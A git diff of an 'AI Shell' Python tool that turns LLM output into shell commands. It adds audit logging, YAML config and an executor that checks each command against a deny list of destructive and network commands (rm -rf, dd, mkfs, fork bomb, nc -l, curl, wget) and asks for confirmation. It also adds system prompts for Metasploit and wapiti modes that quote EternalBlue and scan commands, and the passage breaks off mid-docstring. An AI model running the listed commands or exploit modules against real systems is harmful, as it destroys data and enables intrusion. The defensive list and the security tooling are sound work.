+Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/WORKFLOW_STATUS.md b/WORKFLOW_STATUS.md new file mode 100644 index 0000000..9a44824 --- /dev/null +++ b/WORKFLOW_STATUS.md @@ -0,0 +1,35 @@ +# 🚀 AI Shell - Workflow Status Dashboard + +*Last updated: 2026-08-03T16:36:58.300Z* + +| Workflow | Status | Last Run | Duration | Branch | +|----------|--------|----------|----------|--------| +| CI | ✅ success | 8/3/2026 | 4m | main | +| Security | ✅ success | 8/3/2026 | 4m | main | +| Documentation | ✅ success | 8/3/2026 | 5m | main | +| Performance | ✅ success | 8/3/2026 | 2m | main | +| Release | ❓ No runs | N/A | N/A | N/A | +| deployment-assets | ✅ success | 8/3/2026 | 3m | main | + +## 📊 Repository Statistics + +- **Stars:** 2 +- **Forks:** 0 +- **Open Issues:** 1 +- **Open PRs:** 1 +- **Last Updated:** 8/3/2026 + +## 🏆 Workflow Badges + +[![CI](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml) [![Security](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml) [![Documentation](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml) [![Deployment Assets](https://github.com/GizzZmo/Ai_shell/actions/workflows/deployment-assets.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/deployment-assets.yml) + +## 🔗 Quick Links + +- [📋 All Workflows](https://github.com/GizzZmo/Ai_shell/actions) +- [🐛 Report Issues](https://github.com/GizzZmo/Ai_shell/issues/new/choose) +- [💡 Discussions](https://github.com/GizzZmo/Ai_shell/discussions) +- [📖 Documentation](https://github.com/GizzZmo/Ai_shell/blob/main/README.md) +- [🤝 Contributing](https://github.com/GizzZmo/Ai_shell/blob/main/CONTRIBUTING.md) + +--- +*This dashboard is automatically updated by GitHub Actions.* diff --git a/WORKFLOW_SYSTEM.md b/WORKFLOW_SYSTEM.md new file mode 100644 index 0000000..7f4802e --- /dev/null +++ b/WORKFLOW_SYSTEM.md @@ -0,0 +1,152 @@ +# GitHub Workflow System Summary + +This document summarizes the comprehensive GitHub workflow system that has been implemented for the AI Shell repository. + +## 🚀 Workflows Implemented + +### 1. **Enhanced CI/CD Pipeline** (`.github/workflows/ci.yml`) +- **Multi-platform testing**: Ubuntu, Windows, and macOS +- **Python version matrix**: 3.9, 3.10, 3.11, 3.12 +- **Code quality checks**: Black formatting, Flake8 linting +- **Test execution**: Pytest with coverage reporting +- **Package installation testing** +- **Codecov integration** for coverage tracking + +### 2. **Automated Release Management** (`.github/workflows/release.yml`) +- **Triggered by**: Git tags (v*) or manual dispatch +- **Validation**: Full test suite, linting, and build checks +- **Changelog generation**: Automatic from git history +- **GitHub Releases**: Automated creation with assets +- **PyPI publishing**: Automatic for stable releases +- **Semantic versioning support** + +### 3. **Security Scanning** (`.github/workflows/security.yml`) +- **CodeQL Analysis**: Advanced security scanning +- **Dependency scanning**: Safety checks for vulnerabilities +- **Secrets detection**: Trivy for credential scanning +- **License compliance**: Automated license checking +- **SARIF reporting**: Security findings in GitHub Security tab +- **Daily scheduled scans** + +### 4. **Documentation Management** (`.github/workflows/documentation.yml`) +- **Markdown validation**: Syntax and structure checks +- **Link verification**: Internal link validation +- **Code example validation**: Python syntax checking +- **MkDocs integration**: Automatic site generation +- **GitHub Pages deployment**: Auto-deploy documentation +- **Documentation completeness checks** + +### 5. **Performance Monitoring** (`.github/workflows/performance.yml`) +- **Benchmark testing**: Automated performance regression detection +- **Memory usage monitoring**: Resource consumption tracking +- **Response time analysis**: Performance metrics collection +- **System resource monitoring**: CPU, memory, disk usage +- **Performance artifact storage**: Historical tracking + +### 6. **Auto-labeling System** (`.github/workflows/auto-label.yml`) +- **Intelligent issue labeling**: Based on content analysis +- **PR size categorization**: XS, S, M, L, XL labels +- **Component-based labels**: LLM, config, security, etc. +- **Priority detection**: High-priority issue identification +- **Work-in-progress tracking**: Draft PR management + +### 7. **Workflow Status Dashboard** (`.github/workflows/status.yml`) +- **Comprehensive reporting**: All workflow status tracking +- **Repository statistics**: Stars, forks, issues, PRs +- **Workflow badges**: Status badge generation +- **Daily status reports**: Automated dashboard updates +- **Quick navigation links**: Easy access to key resources + +## 🔧 Development Tools + +### **Dependabot Configuration** (`.github/dependabot.yml`) +- **Python dependency updates**: Weekly automated updates +- **GitHub Actions updates**: Workflow dependency management +- **Security-focused**: Priority on security updates +- **Controlled updates**: Limited concurrent PRs + +### **Issue Templates** (`.github/ISSUE_TEMPLATE/`) +- **Bug reports**: Structured bug reporting with environment details +- **Feature requests**: Comprehensive feature proposal template +- **Security issues**: Private vulnerability reporting guidance +- **Template configuration**: Guided issue creation + +### **Pull Request Template** (`.github/pull_request_template.md`) +- **Comprehensive checklist**: Testing, security, documentation +- **Type categorization**: Bug fix, feature, breaking change, etc. +- **Security considerations**: Command execution safety checks +- **Documentation requirements**: Ensuring docs are updated + +## 📊 Monitoring and Metrics + +### **Coverage Tracking** +- Codecov integration for test coverage +- Coverage reports in PRs +- Historical coverage trends + +### **Security Monitoring** +- GitHub Security tab integration +- SARIF report uploads +- Dependency vulnerability alerts +- Secret scanning + +### **Performance Tracking** +- Benchmark result artifacts +- Performance regression detection +- Resource usage monitoring +- Historical performance data + +## 🔄 Automation Features + +### **Multi-trigger Support** +- Push to main branches +- Pull request events +- Scheduled execution +- Manual workflow dispatch + +### **Matrix Builds** +- Multiple Python versions +- Cross-platform testing +- Parallel execution + +### **Conditional Execution** +- Path-based triggers +- Branch-specific actions +- Environment-based deployment + +## 🛡️ Security Features + +### **Secure Secrets Management** +- Environment-based secrets +- PyPI token protection +- API key security + +### **Permission Management** +- Minimal required permissions +- Read-only default access +- Write permissions only when needed + +### **Vulnerability Detection** +- Automated dependency scanning +- Code analysis with CodeQL +- Secret detection in commits + +## 📈 Benefits + +1. **Quality Assurance**: Comprehensive testing across platforms and Python versions +2. **Security**: Multi-layered security scanning and monitoring +3. **Automation**: Reduced manual overhead for releases and maintenance +4. **Documentation**: Automated documentation building and validation +5. **Monitoring**: Real-time status tracking and performance monitoring +6. **Contributor Experience**: Clear templates and automated labeling +7. **Compliance**: License checking and security compliance +8. **Scalability**: Configurable workflows that scale with the project + +## 🚀 Getting Started + +1. **For Contributors**: Use the issue and PR templates for structured contributions +2. **For Maintainers**: Monitor the workflow status dashboard for health checks +3. **For Releases**: Tag releases with semantic versioning for automated releases +4. **For Security**: Review security alerts in the GitHub Security tab + +This comprehensive workflow system ensures high code quality, security, and maintainability while providing excellent developer experience for the AI Shell project. \ No newline at end of file diff --git a/ai_shell/__init__.py b/ai_shell/__init__.py new file mode 100644 index 0000000..ed11bd0 --- /dev/null +++ b/ai_shell/__init__.py @@ -0,0 +1,6 @@ +"""AI Shell Suite — An intelligent multi-modal command-line assistant.""" + +__version__ = "0.2.3" +__author__ = "Jon-Arve Constantine Grønsberg-Ovesen" +__email__ = "jonovesen@gmail.com" +__description__ = "AI Shell Suite — Intelligent multi-modal command-line assistant with multi-provider LLM support" diff --git a/ai_shell/audit.py b/ai_shell/audit.py new file mode 100644 index 0000000..4a42006 --- /dev/null +++ b/ai_shell/audit.py @@ -0,0 +1,239 @@ +"""Command audit logging for AI Shell.""" + +import json +import time +import os +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, Any + +from .config import get_config +from .ui import format_info, format_error + + +class AuditLogger: + """ + Command audit logger for security and compliance tracking. + + Logs all executed commands with metadata including: + - Command executed + - User prompt that generated the command + - Execution timestamp + - Success/failure status + - User confirmation details + - Security warnings + """ + + def __init__(self): + self.config = get_config() + self.audit_file = self.config.get("logging.audit_file", "ai_shell_audit.jsonl") + self.enabled = self.config.get("logging.audit_enabled", True) + + # Ensure audit log directory exists + audit_path = Path(self.audit_file) + audit_path.parent.mkdir(parents=True, exist_ok=True) + + def log_command_attempt( + self, + command: str, + user_prompt: str, + security_status: str = "allowed", + warning_message: Optional[str] = None, + ) -> None: + """Log a command execution attempt.""" + if not self.enabled: + return + + log_entry = { + "timestamp": datetime.now().isoformat(), + "unix_timestamp": time.time(), + "event_type": "command_attempt", + "command": command, + "user_prompt": user_prompt, + "security_status": security_status, # allowed, blocked, warning + "warning_message": warning_message, + "user": os.getenv("USER", "unknown"), + "working_directory": os.getcwd(), + } + + self._write_log_entry(log_entry) + + def log_command_execution( + self, + command: str, + user_prompt: str, + exit_code: int, + execution_time: float, + user_confirmed: bool = True, + ) -> None: + """Log command execution results.""" + if not self.enabled: + return + + log_entry = { + "timestamp": datetime.now().isoformat(), + "unix_timestamp": time.time(), + "event_type": "command_execution", + "command": command, + "user_prompt": user_prompt, + "exit_code": exit_code, + "success": exit_code == 0, + "execution_time_seconds": execution_time, + "user_confirmed": user_confirmed, + "user": os.getenv("USER", "unknown"), + "working_directory": os.getcwd(), + } + + self._write_log_entry(log_entry) + + def log_security_event( + self, + event_type: str, + command: str, + details: Dict[str, Any], + ) -> None: + """Log security-related events.""" + if not self.enabled: + return + + log_entry = { + "timestamp": datetime.now().isoformat(), + "unix_timestamp": time.time(), + "event_type": "security_event", + "security_event_type": event_type, # blocked_command, suspicious_pattern, etc. + "command": command, + "details": details, + "user": os.getenv("USER", "unknown"), + "working_directory": os.getcwd(), + } + + self._write_log_entry(log_entry) + + def _write_log_entry(self, entry: Dict[str, Any]) -> None: + """Write log entry to audit file.""" + try: + with open(self.audit_file, "a", encoding="utf-8") as f: + f.write(json.dumps(entry) + "\n") + except IOError as e: + print(format_error(f"Failed to write audit log: {e}")) + + def get_recent_commands(self, limit: int = 10) -> list: + """Get recent command executions from audit log.""" + if not os.path.exists(self.audit_file): + return [] + + commands = [] + try: + with open(self.audit_file, "r", encoding="utf-8") as f: + for line in f: + try: + entry = json.loads(line.strip()) + if entry.get("event_type") == "command_execution": + commands.append(entry) + except json.JSONDecodeError: + continue + + # Return most recent commands first + return commands[-limit:][::-1] + + except IOError: + return [] + + def get_security_events(self, hours: int = 24) -> list: + """Get security events from the last N hours.""" + if not os.path.exists(self.audit_file): + return [] + + cutoff_time = time.time() - (hours * 3600) + events = [] + + try: + with open(self.audit_file, "r", encoding="utf-8") as f: + for line in f: + try: + entry = json.loads(line.strip()) + if ( + entry.get("event_type") == "security_event" + and entry.get("unix_timestamp", 0) > cutoff_time + ): + events.append(entry) + except json.JSONDecodeError: + continue + + return events + + except IOError: + return [] + + def generate_audit_report(self) -> Dict[str, Any]: + """Generate an audit report summary.""" + if not os.path.exists(self.audit_file): + return {"error": "No audit log found"} + + report = { + "total_commands": 0, + "successful_commands": 0, + "failed_commands": 0, + "blocked_commands": 0, + "security_events": 0, + "unique_users": set(), + "most_recent_activity": None, + "top_commands": {}, + } + + try: + with open(self.audit_file, "r", encoding="utf-8") as f: + for line in f: + try: + entry = json.loads(line.strip()) + + if entry.get("user"): + report["unique_users"].add(entry["user"]) + + if entry.get("timestamp"): + report["most_recent_activity"] = entry["timestamp"] + + if entry.get("event_type") == "command_execution": + report["total_commands"] += 1 + if entry.get("success"): + report["successful_commands"] += 1 + else: + report["failed_commands"] += 1 + + # Track command frequency + cmd = entry.get("command", "").split()[0] if entry.get("command") else "unknown" + report["top_commands"][cmd] = report["top_commands"].get(cmd, 0) + 1 + + elif entry.get("event_type") == "security_event": + report["security_events"] += 1 + + elif entry.get("security_status") == "blocked": + report["blocked_commands"] += 1 + + except json.JSONDecodeError: + continue + + # Convert set to list for JSON serialization + report["unique_users"] = list(report["unique_users"]) + + # Sort top commands by frequency + report["top_commands"] = dict( + sorted(report["top_commands"].items(), key=lambda x: x[1], reverse=True)[:10] + ) + + return report + + except IOError as e: + return {"error": f"Failed to read audit log: {e}"} + + +# Global audit logger instance +_audit_logger = None + + +def get_audit_logger() -> AuditLogger: + """Get global audit logger instance.""" + global _audit_logger + if _audit_logger is None: + _audit_logger = AuditLogger() + return _audit_logger \ No newline at end of file diff --git a/ai_shell/config.py b/ai_shell/config.py new file mode 100644 index 0000000..280d5ac --- /dev/null +++ b/ai_shell/config.py @@ -0,0 +1,229 @@ +""" +Configuration Management for AI Shell + +This module provides comprehensive configuration management for AI Shell, +supporting YAML files, environment variables, and programmatic configuration. + +The configuration system follows a hierarchical approach: +1. Command-line arguments (highest priority) +2. Environment variables +3. Configuration files (YAML) +4. Default values (lowest priority) + +Key Features: +- YAML-based configuration with environment variable substitution +- Nested configuration access using dot notation +- Automatic configuration file discovery +- Runtime configuration updates +- Configuration validation and error handling + +Examples: + Basic usage: + >>> config = Config() + >>> api_key = config.get('llm.gemini.api_key') + >>> config.set('security.require_confirmation', False) + + Load from specific file: + >>> config = Config('/path/to/config.yaml') + + Environment variable integration: + >>> os.environ['GEMINI_API_KEY'] = 'key123' + >>> config = get_config() + >>> key = config.get('llm.gemini.api_key') # Returns 'key123' + +Configuration Schema: + llm: + provider: str # 'gemini' or 'local' + gemini: + api_key: str # API key for Gemini + model: str # Model name + local: + host: str # Ollama host + port: int # Ollama port + model: str # Local model name + + security: + require_confirmation: bool # Require user confirmation + dangerous_commands: List[str] # List of dangerous command patterns + + logging: + level: str # Log level (DEBUG, INFO, etc.) + file: str # Log file path + format: str # Log format string + + training: + dataset_file: str # Training data file path + auto_log: bool # Auto-log successful commands + +Author: AI Shell Contributors +License: MIT +""" + +import os +import yaml +from typing import Dict, Any, Optional +from pathlib import Path + + +class Config: + """ + Configuration manager for AI Shell with YAML and environment variable support. + + This class provides a unified interface for accessing configuration values + from multiple sources with proper precedence handling. It supports: + - YAML configuration files + - Environment variable overrides + - Nested key access using dot notation + - Runtime configuration updates + - Default value fallbacks + + Attributes: + config_file (str): Path to the loaded configuration file + config (dict): Loaded configuration data + + Examples: + >>> config = Config() + >>> provider = config.get('llm.provider', 'gemini') + >>> config.set('security.require_confirmation', True) + >>> config.save('updated_config.yaml') + """ + + def __init__(self, config_file: Optional[str] = None): + """Initialize configuration. + + Args: + config_file: Path to configuration file. If None, uses default locations. + """ + self.config_file = config_file or self._find_config_file() + self.config = self._load_config() + + def _find_config_file(self) -> Optional[str]: + """Find configuration file in standard locations.""" + possible_locations = [ + "config.yaml", + "~/.ai-shell/config.yaml", + "~/.config/ai-shell/config.yaml", + ] + + for location in possible_locations: + path = Path(location).expanduser() + if path.exists(): + return str(path) + return None + + def _load_config(self) -> Dict[str, Any]: + """Load configuration from file or return defaults.""" + if not self.config_file or not Path(self.config_file).exists(): + return self._get_default_config() + + try: + with open(self.config_file, "r", encoding="utf-8") as f: + config = yaml.safe_load(f) or {} + # Merge with defaults + default_config = self._get_default_config() + default_config.update(config) + return default_config + except Exception as e: + print(f"Warning: Could not load config file {self.config_file}: {e}") + return self._get_default_config() + + def _get_default_config(self) -> Dict[str, Any]: + """Get default configuration.""" + return { + "llm": { + "provider": "gemini", # 'gemini' or 'local' + "gemini": { + "api_key": os.environ.get("GEMINI_API_KEY", ""), + "model": "gemini-1.5-flash", + }, + "local": {"host": "localhost", "port": 11434, "model": "llama3"}, + }, + "logging": { + "level": "INFO", + "file": "ai_shell.log", + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s", + "audit_enabled": True, + "audit_file": "ai_shell_audit.jsonl", + }, + "training": {"dataset_file": "training_dataset.jsonl", "auto_log": True}, + "security": { + "require_confirmation": True, + "dangerous_commands": [ + "rm -rf", + "format", + "dd if=", + "mkfs", + "fdisk", + "parted", + "wipefs", + "shred", + "chmod 777", + "chown -r root", + "shutdown", + "reboot", + "halt", + "poweroff", + "init 0", + "init 6", + "killall -9", + "pkill -9", + "forkbomb", + ":|:", + "nc -l", + "netcat -l", + "curl", + "wget", + "del /q /s", + ], + }, + } + + def get(self, key: str, default: Any = None) -> Any: + """Get configuration value using dot notation.""" + keys = key.split(".") + value = self.config + for k in keys: + if isinstance(value, dict) and k in value: + value = value[k] + else: + return default + return value + + def set(self, key: str, value: Any) -> None: + """Set configuration value using dot notation.""" + keys = key.split(".") + config = self.config + for k in keys[:-1]: + if k not in config or not isinstance(config[k], dict): + config[k] = {} + config = config[k] + config[keys[-1]] = value + + def save(self, file_path: Optional[str] = None) -> None: + """Save configuration to file.""" + if file_path: + self.config_file = file_path + + if not self.config_file: + # Create default config directory + config_dir = Path.home() / ".ai-shell" + config_dir.mkdir(exist_ok=True) + self.config_file = str(config_dir / "config.yaml") + + try: + with open(self.config_file, "w", encoding="utf-8") as f: + yaml.dump(self.config, f, default_flow_style=False, indent=2) + except Exception as e: + print(f"Error saving configuration: {e}") + + +# Global configuration instance +_config = None + + +def get_config() -> Config: + """Get global configuration instance.""" + global _config + if _config is None: + _config = Config() + return _config diff --git a/ai_shell/executor.py b/ai_shell/executor.py new file mode 100644 index 0000000..270748c --- /dev/null +++ b/ai_shell/executor.py @@ -0,0 +1,301 @@ +"""Command execution and security utilities for AI Shell.""" + +import shlex +import subprocess +import json +import time +from typing import Optional, Tuple + +from .config import get_config +from .ui import colors, format_error, format_warning, format_info, format_success +from .audit import get_audit_logger + + +class SecurityChecker: + """Security checker for command validation.""" + + def __init__(self): + self.config = get_config() + self.dangerous_commands = self.config.get( + "security.dangerous_commands", + [ + "rm -rf", + "format", + "dd if=", + "mkfs", + "fdisk", + "parted", + "wipefs", + "shred", + "chmod 777", + "chown -r root", + "shutdown", + "reboot", + "halt", + "poweroff", + "init 0", + "init 6", + "killall -9", + "pkill -9", + "forkbomb", + ":|:", + "nc -l", + "netcat -l", + "curl", + "wget", + "del /q /s", + ], + ) + + def is_dangerous_command(self, command: str) -> bool: + """Check if a command is potentially dangerous.""" + if not command: + return False + + # Normalize command by removing extra whitespace + command_normalized = " ".join(command.lower().strip().split()) + + # Check against dangerous patterns + for dangerous in self.dangerous_commands: + dangerous_normalized = " ".join(dangerous.lower().split()) + if dangerous_normalized in command_normalized: + return True + + return False + + def validate_command(self, command: str) -> Tuple[bool, Optional[str]]: + """Validate a command for security issues. + + Returns: + Tuple of (is_valid, warning_message) + """ + if not command or not command.strip(): + return False, "Empty command" + + if self.is_dangerous_command(command): + return False, "This command is potentially dangerous and has been blocked" + + # Check for suspicious patterns + suspicious_patterns = [ + "&&", + "||", + ";", # Command chaining + ">", + ">>", + "<", # Redirection + "|", # Pipes + "$(", # Command substitution + "`", # Backticks + ] + + has_suspicious = any(pattern in command for pattern in suspicious_patterns) + if has_suspicious: + return ( + True, + "This command contains advanced shell features - please review carefully", + ) + + return True, None + + +class TrainingDataLogger: + """Logger for training data collection.""" + + def __init__(self): + self.config = get_config() + self.dataset_file = self.config.get( + "training.dataset_file", "training_dataset.jsonl" + ) + self.auto_log = self.config.get("training.auto_log", True) + + def log_training_pair( + self, prompt: str, command: str, feedback: str = "positive" + ) -> None: + """Log a prompt-completion pair to the training dataset.""" + if not self.auto_log: + return + + data = { + "prompt": prompt, + "completion": command, + "feedback": feedback, + "timestamp": time.time(), + } + + try: + with open(self.dataset_file, "a", encoding="utf-8") as f: + f.write(json.dumps(data) + "\n") + print(format_info(f"Feedback logged to {self.dataset_file}")) + except IOError as e: + print(format_error(f"Could not write to dataset file: {e}")) + + +class CommandExecutor: + """Command execution with security and logging.""" + + def __init__(self): + self.security_checker = SecurityChecker() + self.training_logger = TrainingDataLogger() + self.audit_logger = get_audit_logger() + self.config = get_config() + + def execute_command(self, command: str, user_prompt: str) -> bool: + """Execute a command with security checks and user confirmation. + + Returns: + True if command executed successfully, False otherwise + """ + if not command: + print(format_warning("No command to execute")) + return False + + # Security validation + is_valid, warning = self.security_checker.validate_command(command) + if not is_valid: + print(format_error(warning)) + # Log blocked command attempt + self.audit_logger.log_command_attempt( + command, user_prompt, "blocked", warning + ) + return False + + if warning: + print(format_warning(warning)) + # Log warning + self.audit_logger.log_command_attempt( + command, user_prompt, "warning", warning + ) + else: + # Log allowed command attempt + self.audit_logger.log_command_attempt(command, user_prompt, "allowed") + + # Display command and ask for confirmation + print( + f"\nI am about to execute this command: {colors.COMMAND}{command}{colors.RESET}" + ) + + if command.strip().startswith("sudo"): + print(format_warning("This command requires administrator privileges")) + + # Get user confirmation if required + if self.config.get("security.require_confirmation", True): + try: + confirm = input("Do you want to proceed? [y/n] ").lower().strip() + if confirm != "y": + print("Execution cancelled.") + return False + except (KeyboardInterrupt, EOFError): + print("\nExecution cancelled.") + return False + + # Execute the command + return self._run_command(command, user_prompt) + + def _run_command(self, command: str, user_prompt: str) -> bool: + """Run the command and handle output.""" + start_time = time.time() + + try: + print(f"\n{format_info('--- Command Output ---')}") + + # Determine if we need shell=True + needs_shell = any(char in command for char in ["|", ">", "<", "&", ";"]) + process_args = command if needs_shell else shlex.split(command) + + # Start process + process = subprocess.Popen( + process_args, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + shell=needs_shell, + bufsize=1, + universal_newlines=True, + ) + + # Stream output + if process.stdout: + for line in iter(process.stdout.readline, ""): + print(line, end="", flush=True) + process.stdout.close() + + return_code = process.wait() + execution_time = time.time() - start_time + print(f"\n{format_info('----------------------')}") + + # Log command execution + self.audit_logger.log_command_execution( + command, user_prompt, return_code, execution_time + ) + + # Handle feedback and logging + if return_code == 0: + print(format_success("Command executed successfully")) + self._handle_successful_execution(user_prompt, command) + return True + else: + print(format_error(f"Command finished with exit code: {return_code}")) + self._handle_failed_execution(user_prompt, command) + return False + + except FileNotFoundError: + command_name = shlex.split(command)[0] if command else "unknown" + print(format_error(f"Command not found: '{command_name}'")) + execution_time = time.time() - start_time + self.audit_logger.log_command_execution( + command, user_prompt, -1, execution_time + ) + return False + except Exception as e: + print(format_error(f"An unexpected error occurred: {e}")) + execution_time = time.time() - start_time + self.audit_logger.log_command_execution( + command, user_prompt, -2, execution_time + ) + return False + + def _handle_successful_execution(self, user_prompt: str, command: str): + """Handle successful command execution feedback.""" + try: + feedback = ( + input("Was this command correct and useful? [y/n] ").lower().strip() + ) + if feedback == "y": + self.training_logger.log_training_pair(user_prompt, command, "positive") + elif feedback == "n": + self.training_logger.log_training_pair(user_prompt, command, "negative") + except (KeyboardInterrupt, EOFError): + pass + + def _handle_failed_execution(self, user_prompt: str, command: str): + """Handle failed command execution feedback.""" + try: + print( + format_warning( + "If you know the correct command, please enter it to improve the AI" + ) + ) + correction = input("Correct command (or press Enter to skip): ").strip() + if correction: + # Validate the correction + is_valid, warning = self.security_checker.validate_command(correction) + if is_valid: + self.training_logger.log_training_pair( + user_prompt, correction, "correction" + ) + else: + print(format_error(f"Correction rejected: {warning}")) + except (KeyboardInterrupt, EOFError): + pass + + +# Global executor instance +_executor = None + + +def get_executor() -> CommandExecutor: + """Get global command executor instance.""" + global _executor + if _executor is None: + _executor = CommandExecutor() + return _executor diff --git a/ai_shell/llm.py b/ai_shell/llm.py new file mode 100644 index 0000000..ee6800a --- /dev/null +++ b/ai_shell/llm.py @@ -0,0 +1,231 @@ +"""LLM integration and prompt management for AI Shell.""" + +import re +import platform +import requests +import json +from typing import Optional, Tuple, Dict, Any + +try: + import google.generativeai as genai + + GENAI_AVAILABLE = True +except ImportError: + genai = None + GENAI_AVAILABLE = False + +from .config import get_config +from .ui import format_error + + +# System prompts for different modes +ASSISTANT_SYSTEM_PROMPT = ( + "You are an expert AI shell assistant. Your goal is to help the user accomplish their tasks by " + "providing explanations, suggestions, and shell commands. The user is interacting with you through a special shell. " + "When you provide a shell command that the user can execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Be conversational and helpful. Break down complex tasks into steps. You can suggest tools and workflows. " + f"The user's operating system is: {platform.system()}." +) + +METASPLOIT_SYSTEM_PROMPT = ( + "You are a world-class cybersecurity expert and penetration testing assistant. The user is currently inside the Metasploit Framework console (`msfconsole`). " + "Your primary goal is to help the user conduct their penetration test effectively and safely. " + "Provide guidance, explain concepts, and suggest the exact `msfconsole` commands to achieve their goals. " + "When you provide a command for the user to execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Example commands include `search cve:2021 type:exploit`, `use exploit/windows/smb/ms17_010_eternalblue`, `set RHOSTS 10.10.1.5`, `run`, etc. " + "Always prioritize ethical considerations and user safety. Be conversational and act as a senior penetration tester mentoring a junior." +) + +WAPITI_SYSTEM_PROMPT = ( + "You are a world-class web application security expert. The user is in a shell environment with the `wapiti` tool available. " + "Your primary goal is to help the user scan web applications for vulnerabilities effectively. " + "Provide guidance, explain web vulnerabilities (like XSS, SQLi, LFI), and suggest the exact `wapiti` commands to perform scans. " + "When you provide a command for the user to execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Example commands include `wapiti -u http://example.com`, `wapiti -u http://test.com -m xss,sqli --scope domain`, `wapiti -u http://vulnerable.site -x http://vulnerable.site/logout`. " + "Always remind the user to only scan applications they have explicit permission to test. Be conversational and act as a senior security analyst." +) + + +class LLMProvider: + """Base class for LLM providers.""" + + def __init__(self, config: Dict[str, Any]): + self.config = config + + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + """Generate a response from the LLM.""" + raise NotImplementedError + + +class GeminiProvider(LLMProvider): + """Google Gemini LLM provider.""" + + def __init__(self, config: Dict[str, Any]): + super().__init__(config) + if not GENAI_AVAILABLE: + raise ImportError("google-generativeai package is not installed") + + api_key = config.get("api_key", "") + if not api_key: + raise ValueError("Gemini API key is required") + + genai.configure(api_key=api_key) + self.model_name = config.get("model", "gemini-1.5-flash") + + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + """Generate a response from Gemini.""" + try: + if mode == "translator": + model = genai.GenerativeModel(self.model_name) + meta_prompt = build_translator_meta_prompt(prompt) + response = model.generate_content( + meta_prompt, + generation_config=genai.types.GenerationConfig( + temperature=0.0, max_output_tokens=100 + ), + ) + return clean_llm_response(response.text), chat_session + else: # assistant, metasploit, or wapiti + if chat_session is None: + model = genai.GenerativeModel( + self.model_name, system_instruction=system_prompt + ) + chat_session = model.start_chat(history=[]) + response = chat_session.send_message(prompt) + return response.text, chat_session + except Exception as e: + print(format_error(f"Gemini API error: {e}")) + return None, chat_session + + +class LocalLLMProvider(LLMProvider): + """Local LLM provider using Ollama.""" + + def __init__(self, config: Dict[str, Any]): + super().__init__(config) + self.host = config.get("host", "localhost") + self.port = config.get("port", 11434) + self.model = config.get("model", "llama3") + self.api_url = f"http://{self.host}:{self.port}/api/generate" + self.history = [] + + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + """Generate a response from local LLM.""" + try: + if mode == "translator": + meta_prompt = build_translator_meta_prompt(prompt) + payload = { + "model": self.model, + "prompt": meta_prompt, + "stream": False, + "options": {"temperature": 0.0}, + } + else: # assistant, metasploit, or wapiti + full_prompt = f"<|system|>\n{system_prompt}\n" + for turn in self.history: + full_prompt += f"<|user|>\n{turn['user']}\n<|assistant|>\n{turn['assistant']}\n" + full_prompt += f"<|user|>\n{prompt}\n<|assistant|>" + payload = { + "model": self.model, + "prompt": full_prompt, + "stream": False, + "options": {"temperature": 0.2}, + } + + response = requests.post(self.api_url, json=payload, timeout=60) + response.raise_for_status() + data = response.json() + + if "error" in data: + print(format_error(f"Ollama server error: {data['error']}")) + return None, chat_session + + response_text = data.get("response", "") + if mode != "translator": + self.history.append({"user": prompt, "assistant": response_text}) + + return ( + clean_llm_response(response_text) + if mode == "translator" + else response_text + ), chat_session + + except requests.exceptions.RequestException as e: + print(format_error(f"Local LLM API error: {e}")) + return None, chat_session + except json.JSONDecodeError: + print(format_error("Failed to decode JSON response from local LLM")) + return None, chat_session + + +def build_translator_meta_prompt(prompt: str) -> str: + """Create a standardized meta-prompt for translator mode.""" + os_type = platform.system() + return ( + "You are an expert natural language to shell command translator. " + "Your task is to take a user's prompt and their operating system, and return ONLY the single, most appropriate shell command. " + "For tasks requiring administrator privileges (like installing software), prefix the command with 'sudo'. " + "Do not provide any explanation, preamble, or markdown formatting. Just the raw command." + f"\n\nUser's Operating System: {os_type}" + f'\nUser\'s Prompt: "{prompt}"' + "\n\nCommand:" + ) + + +def clean_llm_response(text: str) -> str: + """Clean up common formatting issues from LLM responses for translator mode.""" + command = text.strip() + # Remove markdown code blocks + if command.startswith("```") and command.endswith("```"): + command_lines = command.splitlines() + if len(command_lines) > 1: + # Handle cases like ```bash\ncommand\n``` + command = " ".join(line for line in command_lines[1:-1] if line.strip()) + else: + command = command.strip("`") + # Remove backticks + if command.startswith("`") and command.endswith("`"): + command = command.strip("`") + return command + + +def extract_command_from_response(text: str) -> Optional[str]: + """Extract a shell command from a markdown code block in the assistant's response.""" + # Pattern to find ```bash ... ``` blocks + match = re.search(r"```bash\n(.*?)\n```", text, re.DOTALL) + if match: + return match.group(1).strip() + return None + + +def get_llm_provider() -> LLMProvider: + """Get the configured LLM provider.""" + config = get_config() + provider_type = config.get("llm.provider", "gemini") + + if provider_type == "gemini": + gemini_config = config.get("llm.gemini", {}) + return GeminiProvider(gemini_config) + elif provider_type == "local": + local_config = config.get("llm.local", {}) + return LocalLLMProvider(local_config) + else: + raise ValueError(f"Unknown LLM provider: {provider_type}") diff --git a/ai_shell/main.py b/ai_shell/main.py new file mode 100644 index 0000000..fbb146f --- /dev/null +++ b/ai_shell/main.py @@ -0,0 +1,611 @@ +""" +AI Shell - Main Application Entry Point + +This module serves as the primary entry point for the AI Shell application, +providing command-line interface, mode management, and core application logic. + +The application supports three main operating modes: +1. Command 